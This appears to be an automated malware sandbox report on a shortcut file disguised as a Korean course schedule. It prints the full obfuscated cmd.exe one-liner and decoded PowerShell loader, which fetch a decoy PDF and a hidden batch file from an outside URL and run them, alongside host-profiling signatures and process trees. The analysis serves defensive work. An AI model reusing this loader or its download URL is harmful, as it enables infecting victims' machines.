Analysis
- max time kernel
298s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
30/09/2026, 05:57
General
- Target 23반(일요일 10시)_외국어로서의한국어교육실습 학사일정 및 평가기준.lnk
- Size 40.9MB
- Sample260930-gnk29ssdkc
- SHA256 0ab4dec5e7ea4ecd1cce9236aba507c5e351b4648f0aa69e23024483298db38e
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://posco.or.kr/cheditor/attach/board_file/boardquery.php
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 2 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- cURL User-Agent 2 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\23반(일요일 10시)_외국어로서의한국어교육실습 학사일정 및 평가기준.lnk"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /k "Set a813bb7=pnA39ZR6rDdYQ0mgbvW2ufsPCHchqG5SBitkI1wTLoaEV7xNF8KMley4O && call %a813bb7:~0,1%%a813bb7:~41,1%%a813bb7:~38,1%%a813bb7:~53,1%%a813bb7:~8,1%%a813bb7:~22,1%%a813bb7:~27,1%%a813bb7:~53,1%%a813bb7:~52,1%%a813bb7:~52,1% -%a813bb7:~53,1%%a813bb7:~46,1%%a813bb7:~53,1%%a813bb7:~26,1%%a813bb7:~20,1%%a813bb7:~34,1%%a813bb7:~33,1%%a813bb7:~41,1%%a813bb7:~1,1%%a813bb7:~0,1%%a813bb7:~41,1%%a813bb7:~52,1%%a813bb7:~33,1%%a813bb7:~26,1%%a813bb7:~54,1% %a813bb7:~16,1%%a813bb7:~54,1%%a813bb7:~0,1%%a813bb7:~42,1%%a813bb7:~22,1%%a813bb7:~22,1% -%a813bb7:~26,1%%a813bb7:~41,1%%a813bb7:~14,1%%a813bb7:~14,1%%a813bb7:~42,1%%a813bb7:~1,1%%a813bb7:~10,1% ""$%a813bb7:~41,1%%a813bb7:~29,1%%a813bb7:~9,1%%a813bb7:~10,1%%a813bb7:~29,1%%a813bb7:~54,1%%a813bb7:~52,1%%a813bb7:~40,1%%a813bb7:~12,1%%a813bb7:~33,1%%a813bb7:~53,1%=$%a813bb7:~53,1%%a813bb7:~1,1%%a813bb7:~17,1%:%a813bb7:~39,1%%a813bb7:~43,1%%a813bb7:~51,1%%a813bb7:~23,1%+'BkOCCf7.exe';$%a813bb7:~33,1%%a813bb7:~1,1%%a813bb7:~7,1%%a813bb7:~9,1%%a813bb7:~47,1%%a813bb7:~3,1%%a813bb7:~29,1%%a813bb7:~48,1%%a813bb7:~11,1%%a813bb7:~24,1%='%a813bb7:~24,1%:\%a813bb7:~18,1%%a813bb7:~33,1%%a813bb7:~1,1%%a813bb7:~10,1%%a813bb7:~41,1%%a813bb7:~38,1%%a813bb7:~22,1%\%a813bb7:~31,1%%a813bb7:~54,1%%a813bb7:~22,1%%a813bb7:~34,1%%a813bb7:~53,1%%a813bb7:~14,1%%a813bb7:~3,1%%a813bb7:~19,1%\%a813bb7:~26,1%%a813bb7:~20,1%%a813bb7:~8,1%%a813bb7:~52,1%.%a813bb7:~53,1%%a813bb7:~46,1%%a813bb7:~53,1%';%a813bb7:~24,1%%a813bb7:~41,1%%a813bb7:~0,1%%a813bb7:~54,1%-%a813bb7:~36,1%%a813bb7:~34,1%%a813bb7:~53,1%%a813bb7:~14,1% -%a813bb7:~23,1%%a813bb7:~42,1%%a813bb7:~34,1%%a813bb7:~27,1% $%a813bb7:~33,1%%a813bb7:~1,1%%a813bb7:~7,1%%a813bb7:~9,1%%a813bb7:~47,1%%a813bb7:~3,1%%a813bb7:~29,1%%a813bb7:~48,1%%a813bb7:~11,1%%a813bb7:~24,1% -%a813bb7:~9,1%%a813bb7:~53,1%%a813bb7:~22,1%%a813bb7:~34,1%%a813bb7:~33,1%%a813bb7:~1,1%%a813bb7:~42,1%%a813bb7:~34,1%%a813bb7:~33,1%%a813bb7:~41,1%%a813bb7:~1,1% $%a813bb7:~41,1%%a813bb7:~29,1%%a813bb7:~9,1%%a813bb7:~10,1%%a813bb7:~29,1%%a813bb7:~54,1%%a813bb7:~52,1%%a813bb7:~40,1%%a813bb7:~12,1%%a813bb7:~33,1%%a813bb7:~53,1% -%a813bb7:~48,1%%a813bb7:~41,1%%a813bb7:~8,1%%a813bb7:~26,1%%a813bb7:~53,1%;$%a813bb7:~2,1%%a813bb7:~48,1%%a813bb7:~23,1%%a813bb7:~34,1%%a813bb7:~23,1%%a813bb7:~32,1%%a813bb7:~48,1%%a813bb7:~13,1%%a813bb7:~10,1%%a813bb7:~16,1%%a813bb7:~8,1%%a813bb7:~5,1%='http://posco.or.kr/cheditor/attach/board_file/boardquery.php';$%a813bb7:~18,1%%a813bb7:~49,1%%a813bb7:~31,1%%a813bb7:~50,1%%a813bb7:~22,1%%a813bb7:~47,1%%a813bb7:~52,1%%a813bb7:~11,1%%a813bb7:~10,1%%a813bb7:~14,1%%a813bb7:~49,1%%a813bb7:~25,1%%a813bb7:~6,1%%a813bb7:~44,1%=@(@{%a813bb7:~22,1%='kDA8FVf2WhijXREBxtNBl';%a813bb7:~35,1%='akW17zXyDm9tSLlujD9GenUMPRA3M5fHoas';%a813bb7:~10,1%='\23반(일요일 10시)_외국어로서의한국어교육실습 학사일정 및 평가기준.pdf';%a813bb7:~38,1%=$%a813bb7:~34,1%%a813bb7:~8,1%%a813bb7:~20,1%%a813bb7:~53,1%},@{%a813bb7:~22,1%='kC2XlPmTlevB7nLNy';%a813bb7:~35,1%='wyoJi86eatGS6PU7D0ChlUSOYGBQsGWq';%a813bb7:~10,1%='\KSickmLz.bat';%a813bb7:~38,1%=$%a813bb7:~21,1%%a813bb7:~42,1%%a813bb7:~52,1%%a813bb7:~22,1%%a813bb7:~53,1%});%a813bb7:~21,1%%a813bb7:~41,1%%a813bb7:~8,1%%a813bb7:~53,1%%a813bb7:~42,1%%a813bb7:~26,1%%a813bb7:~27,1%($%a813bb7:~46,1%%a813bb7:~16,1%%a813bb7:~26,1%%a813bb7:~8,1%%a813bb7:~21,1% %a813bb7:~33,1%%a813bb7:~1,1% $%a813bb7:~18,1%%a813bb7:~49,1%%a813bb7:~31,1%%a813bb7:~50,1%%a813bb7:~22,1%%a813bb7:~47,1%%a813bb7:~52,1%%a813bb7:~11,1%%a813bb7:~10,1%%a813bb7:~14,1%%a813bb7:~49,1%%a813bb7:~25,1%%a813bb7:~6,1%%a813bb7:~44,1%){$%a813bb7:~51,1%%a813bb7:~31,1%%a813bb7:~7,1%%a813bb7:~5,1%%a813bb7:~18,1%%a813bb7:~37,1%%a813bb7:~13,1%%a813bb7:~56,1%%a813bb7:~4,1%%a813bb7:~14,1%%a813bb7:~4,1%%a813bb7:~6,1%%a813bb7:~1,1%=$%a813bb7:~2,1%%a813bb7:~48,1%%a813bb7:~23,1%%a813bb7:~34,1%%a813bb7:~23,1%%a813bb7:~32,1%%a813bb7:~48,1%%a813bb7:~13,1%%a813bb7:~10,1%%a813bb7:~16,1%%a813bb7:~8,1%%a813bb7:~5,1%+'?%a813bb7:~28,1%%a813bb7:~20,1%%a813bb7:~53,1%%a813bb7:~8,1%%a813bb7:~54,1%='+$($%a813bb7:~46,1%%a813bb7:~16,1%%a813bb7:~26,1%%a813bb7:~8,1%%a813bb7:~21,1%.%a813bb7:~22,1%)+[%a813bb7:~26,1%%a813bb7:~27,1%%a813bb7:~42,1%%a813bb7:~8,1%]%a813bb7:~3,1%%a813bb7:~49,1%+'%a813bb7:~1,1%%a813bb7:~20,1%%a813bb7:~14,1%%a813bb7:~16,1%%a813bb7:~53,1%%a813bb7:~8,1%='+$($%a813bb7:~46,1%%a813bb7:~16,1%%a813bb7:~26,1%%a813bb7:~8,1%%a813bb7:~21,1%.%a813bb7:~35,1%);$%a813bb7:~12,1%%a813bb7:~29,1%%a813bb7:~20,1%%a813bb7:~50,1%%a813bb7:~53,1%='\"'+$%a813bb7:~53,1%%a813bb7:~1,1%%a813bb7:~17,1%:%a813bb7:~34,1%%a813bb7:~53,1%%a813bb7:~14,1%%a813bb7:~0,1%+$($%a813bb7:~46,1%%a813bb7:~16,1%%a813bb7:~26,1%%a813bb7:~8,1%%a813bb7:~21,1%.%a813bb7:~10,1%)+'\"';%a813bb7:~31,1%%a813bb7:~34,1%%a813bb7:~42,1%%a813bb7:~8,1%%a813bb7:~34,1%-%a813bb7:~23,1%%a813bb7:~8,1%%a813bb7:~41,1%%a813bb7:~26,1%%a813bb7:~53,1%%a813bb7:~22,1%%a813bb7:~22,1% -%a813bb7:~48,1%%a813bb7:~33,1%%a813bb7:~52,1%%a813bb7:~53,1%%a813bb7:~23,1%%a813bb7:~42,1%%a813bb7:~34,1%%a813bb7:~27,1% $%a813bb7:~41,1%%a813bb7:~29,1%%a813bb7:~9,1%%a813bb7:~10,1%%a813bb7:~29,1%%a813bb7:~54,1%%a813bb7:~52,1%%a813bb7:~40,1%%a813bb7:~12,1%%a813bb7:~33,1%%a813bb7:~53,1% -%a813bb7:~2,1%%a813bb7:~8,1%%a813bb7:~15,1%%a813bb7:~20,1%%a813bb7:~14,1%%a813bb7:~53,1%%a813bb7:~1,1%%a813bb7:~34,1%%a813bb7:~40,1%%a813bb7:~33,1%%a813bb7:~22,1%%a813bb7:~34,1% $%a813bb7:~51,1%%a813bb7:~31,1%%a813bb7:~7,1%%a813bb7:~5,1%%a813bb7:~18,1%%a813bb7:~37,1%%a813bb7:~13,1%%a813bb7:~56,1%%a813bb7:~4,1%%a813bb7:~14,1%%a813bb7:~4,1%%a813bb7:~6,1%%a813bb7:~1,1%,'-%a813bb7:~41,1%',$%a813bb7:~12,1%%a813bb7:~29,1%%a813bb7:~20,1%%a813bb7:~50,1%%a813bb7:~53,1% -%a813bb7:~18,1%%a813bb7:~42,1%%a813bb7:~33,1%%a813bb7:~34,1% -%a813bb7:~47,1%%a813bb7:~41,1%%a813bb7:~47,1%%a813bb7:~53,1%%a813bb7:~38,1%%a813bb7:~18,1%%a813bb7:~33,1%%a813bb7:~1,1%%a813bb7:~10,1%%a813bb7:~41,1%%a813bb7:~38,1%;%a813bb7:~33,1%%a813bb7:~21,1%($%a813bb7:~46,1%%a813bb7:~16,1%%a813bb7:~26,1%%a813bb7:~8,1%%a813bb7:~21,1%.%a813bb7:~38,1%){%a813bb7:~31,1%%a813bb7:~34,1%%a813bb7:~42,1%%a813bb7:~8,1%%a813bb7:~34,1%-%a813bb7:~23,1%%a813bb7:~8,1%%a813bb7:~41,1%%a813bb7:~26,1%%a813bb7:~53,1%%a813bb7:~22,1%%a813bb7:~22,1% $%a813bb7:~12,1%%a813bb7:~29,1%%a813bb7:~20,1%%a813bb7:~50,1%%a813bb7:~53,1%;}%a813bb7:~53,1%%a813bb7:~52,1%%a813bb7:~22,1%%a813bb7:~53,1%{%a813bb7:~31,1%%a813bb7:~34,1%%a813bb7:~42,1%%a813bb7:~8,1%%a813bb7:~34,1%-%a813bb7:~23,1%%a813bb7:~8,1%%a813bb7:~41,1%%a813bb7:~26,1%%a813bb7:~53,1%%a813bb7:~22,1%%a813bb7:~22,1% $%a813bb7:~12,1%%a813bb7:~29,1%%a813bb7:~20,1%%a813bb7:~50,1%%a813bb7:~53,1% -%a813bb7:~18,1%%a813bb7:~33,1%%a813bb7:~1,1%%a813bb7:~10,1%%a813bb7:~41,1%%a813bb7:~38,1%%a813bb7:~31,1%%a813bb7:~34,1%%a813bb7:~54,1%%a813bb7:~52,1%%a813bb7:~53,1% %a813bb7:~27,1%%a813bb7:~33,1%%a813bb7:~10,1%%a813bb7:~10,1%%a813bb7:~53,1%%a813bb7:~1,1%}};"" && exit"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -executionpolicy bypass -command ""$oGDdGylLQie=$env:TEMP+'BkOCCf7.exe';$in6DN3GFYC='C:\Windows\System32\curl.exe';Copy-Item -Path $in6DN3GFYC -Destination $oGDdGylLQie -Force;$AFPtPBF0dbrZ='http://posco.or.kr/cheditor/attach/board_file/boardquery.php';$W8SKsNlYdm8HRV=@(@{s='kDA8FVf2WhijXREBxtNBl';k='akW17zXyDm9tSLlujD9GenUMPRA3M5fHoas';d='\23반(일요일 10시)_외국어로서의한국어교육실습 학사일정 및 평가기준.pdf';w=$true},@{s='kC2XlPmTlevB7nLNy';k='wyoJi86eatGS6PU7D0ChlUSOYGBQsGWq';d='\KSickmLz.bat';w=$false});foreach($xbcrf in $W8SKsNlYdm8HRV){$MS6ZW10O9m9Rn=$AFPtPBF0dbrZ+'?query='+$($xbcrf.s)+[char]38+'number='+$($xbcrf.k);$QGuKe='\"'+$env:temp+$($xbcrf.d)+'\"';Start-Process -FilePath $oGDdGylLQie -ArgumentList $MS6ZW10O9m9Rn,'-o',$QGuKe -Wait -NoNewWindow;if($xbcrf.w){Start-Process $QGuKe;}else{Start-Process $QGuKe -WindowStyle hidden}};""3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\TempBkOCCf7.exe"C:\Users\Admin\AppData\Local\TempBkOCCf7.exe" http://posco.or.kr/cheditor/attach/board_file/boardquery.php?query=kDA8FVf2WhijXREBxtNBl&number=akW17zXyDm9tSLlujD9GenUMPRA3M5fHoas -o "C:\Users\Admin\AppData\Local\Temp\23반(일요일 10시)_외국어로서의한국어교육실습 학사일정 및 평가기준.pdf"4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\TempBkOCCf7.exe"C:\Users\Admin\AppData\Local\TempBkOCCf7.exe" http://posco.or.kr/cheditor/attach/board_file/boardquery.php?query=kC2XlPmTlevB7nLNy&number=wyoJi86eatGS6PU7D0ChlUSOYGBQsGWq -o "C:\Users\Admin\AppData\Local\Temp\KSickmLz.bat"4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Replay Monitor
Loading Replay Monitor...
Downloads
TempBkOCCf7.exe
__PSScriptPolicyTest_bx0e2xws.0tp.ps1
memory/5520-15-0x0000000006A10000-0x0000000006A2E000-memory.dmp
memory/5520-16-0x0000000006A40000-0x0000000006A8C000-memory.dmp
memory/5520-4-0x0000000005C20000-0x0000000005C42000-memory.dmp
memory/5520-5-0x0000000006360000-0x00000000063C6000-memory.dmp
memory/5520-6-0x00000000063D0000-0x0000000006436000-memory.dmp
memory/5520-7-0x0000000074330000-0x0000000074AEC000-memory.dmp
memory/5520-2-0x0000000074330000-0x0000000074AEC000-memory.dmp
memory/5520-13-0x00000000064F0000-0x000000000684B000-memory.dmp
memory/5520-0-0x0000000074342000-0x0000000074343000-memory.dmp
memory/5520-3-0x0000000005D10000-0x000000000635A000-memory.dmp
memory/5520-17-0x0000000007C40000-0x0000000007CD6000-memory.dmp
memory/5520-18-0x0000000006F70000-0x0000000006F8A000-memory.dmp
memory/5520-19-0x0000000007BA0000-0x0000000007BC2000-memory.dmp
memory/5520-20-0x00000000082A0000-0x000000000885A000-memory.dmp
memory/5520-1-0x00000000031E0000-0x0000000003216000-memory.dmp
memory/5520-22-0x0000000074342000-0x0000000074343000-memory.dmp
memory/5520-23-0x0000000074330000-0x0000000074AEC000-memory.dmp
memory/5520-25-0x0000000074330000-0x0000000074AEC000-memory.dmp
memory/5520-27-0x0000000074330000-0x0000000074AEC000-memory.dmp